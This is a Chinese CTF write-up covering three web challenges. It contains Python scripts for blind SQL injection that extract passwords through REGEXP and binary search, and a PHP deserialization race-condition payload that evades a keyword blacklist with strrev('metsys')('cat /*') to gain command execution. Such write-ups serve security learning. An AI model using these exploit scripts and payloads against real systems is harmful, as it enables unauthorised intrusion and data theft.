fuzz一下,ban了很多东西,不过同时也留了不少可用函数。看到=、like被ban之后就能想到regexp,加上引号也被ban就能联想到\
转义引号实现注入的姿势。
尝试一波username=admin\&password=||1%23
回显flag is not here!
,老此地无银三百两了,不说了,注它。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
import requests
import time
import string
import re
def ord2hex(letter):
result = ''
for i in letter:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
def hex2ord(letter):
result = ''
for i in range(0,len(letter),2):
result += chr(int(letter[i:i+2], 16))
return result
url = "http://eci-2ze7rwkw5ezzl02e1ami.cloudeci1.ichunqiu.com/index.php"
str_list = string.hexdigits
flag = "^" # 使用^从头匹配
session = requests.session()
for n in range(1, 100):
length = len(flag)
for i in str_list:
data = {
'username':'admin\\',
"password": "||hex(password)/**/REGEXP/**/" + ord2hex(flag + re.escape(i)) + "#"
}
# print(data["password"])
res = session.post(url=url, data=data)
res.encoding = "utf-8"
time.sleep(0.1)
if 'flag is not here!' in res.text:
flag += i
print(flag)
break
if len(flag) == length:
print(hex2ord(flag.lstrip("^")))
break
# username: admin
# password: This_1s_thE_Passw0rd
# @@version: 5.5.62-0ubuntu0.14.04.1
# database(): ctf
|
依然过滤很多,注tn的
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
import requests as req
import time
target = "http://eci-2ze3abqpovgs8cju593e.cloudeci1.ichunqiu.com"
flag = ''
session = req.session()
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {"user": "admin"}
for j in range(1, 250):
max = 126
min = 32
length = len(flag.strip())
while 1:
mid = (max + min) // 2
# sql = "passwd" # GoODLUcKcTFer202OHAckFuN
sql = "user" # admin
SQL = f"1'&if(ascii(substr({sql},{j},1))>{mid},0,1)&'1"
# res = session.get(url=target+SQL)
data["passwd"] = SQL
res = session.post(url=target, data=data, headers=headers)
time.sleep(0.1)
print(SQL)
if "user.php" in res.text: # 大于成立
if max - 1 == min:
flag += chr(max)
print(flag)
break
min = mid
else:
if max - 1 == min:
flag += chr(min)
print(flag)
break
max = mid
if length == len(flag.strip()):
print(flag)
break
|
登录提示/admin/admin.rar
,看了代码发现可能有漏洞的功能挺多的,比如session处理器使用差异、文件上传(控诉出题人故意把htaccess
写错害我白高兴一场)、反序列化点。一开始以为是session反序列化,但是给了反序列化点又不太可能靠session去反序列化,后来才想到是条件竞争,原因是unserilize触发反序列化到new创建新的实例之间有时间可以用来执行我们写入的php代码
大坑:一开始觉得给了cli.php
就是用这个来条件竞争,结果死活竞争不到,还是直接访问hack.php
才行。。。麻了
插入php代码之前要先了解一下waf
1
2
3
4
5
6
7
8
9
10
|
public function waf($parm){
$blacklist="/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|\.|\\\|#|\\$|[0-9]|_|get|~|\\^|eval|assert|open|write|include|require/is";
return preg_match($blacklist,$parm);
public function write(){
if($this->waf($this->contents)||strlen($this->contents)>60||preg_match_all('/\\(/i',$this->contents,$matches)>2||preg_match_all('/\\)/i',$this->contents,$matches)>2){
die("<br>"."no no no");
}
if(preg_match_all('/;/i',$this->contents,$matches)>2){
die("<br>"."try hard");
}
|
从cli.php
可知使用的是php7.4版本,这个版本已经不能使用修改变量个数绕过wakeup,那就只能通过修改contents绕waf来RCE。
contents除了不能包含这些关键字,还不能超过两个括号和两个分号。
先从phpinfo()
开始
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class preload{
public $class;
public $contents;
public $method;
public function __construct(){
$this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
$this->contents="'tyskill';?><?php phpinfo();//";
$this->method="\$hack->hack();";
}
}
$o = new preload();
echo serialize($o)."\n";
echo strlen($o->contents);
|
生成的payload传入反序列化点,bp爆破,然后再开一个访问hack.php
的任务,把线程调整到10~20即可
接着就可以看到phpinfo了
# disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
很明显这里ban的都是什么用不到的函数,所以system在没有特别标注waf的情况下可以使用。后面就是寻找RCE,看着就觉得waf很麻烦,导致卡了很久,后来想到动态调用函数就去找可以绕waf的编码(system支持动态调用),结果编码没找到,找到了字符串倒序函数strrev
,最后payloadstrrev('metsys')('cat /*');
条件竞争读flag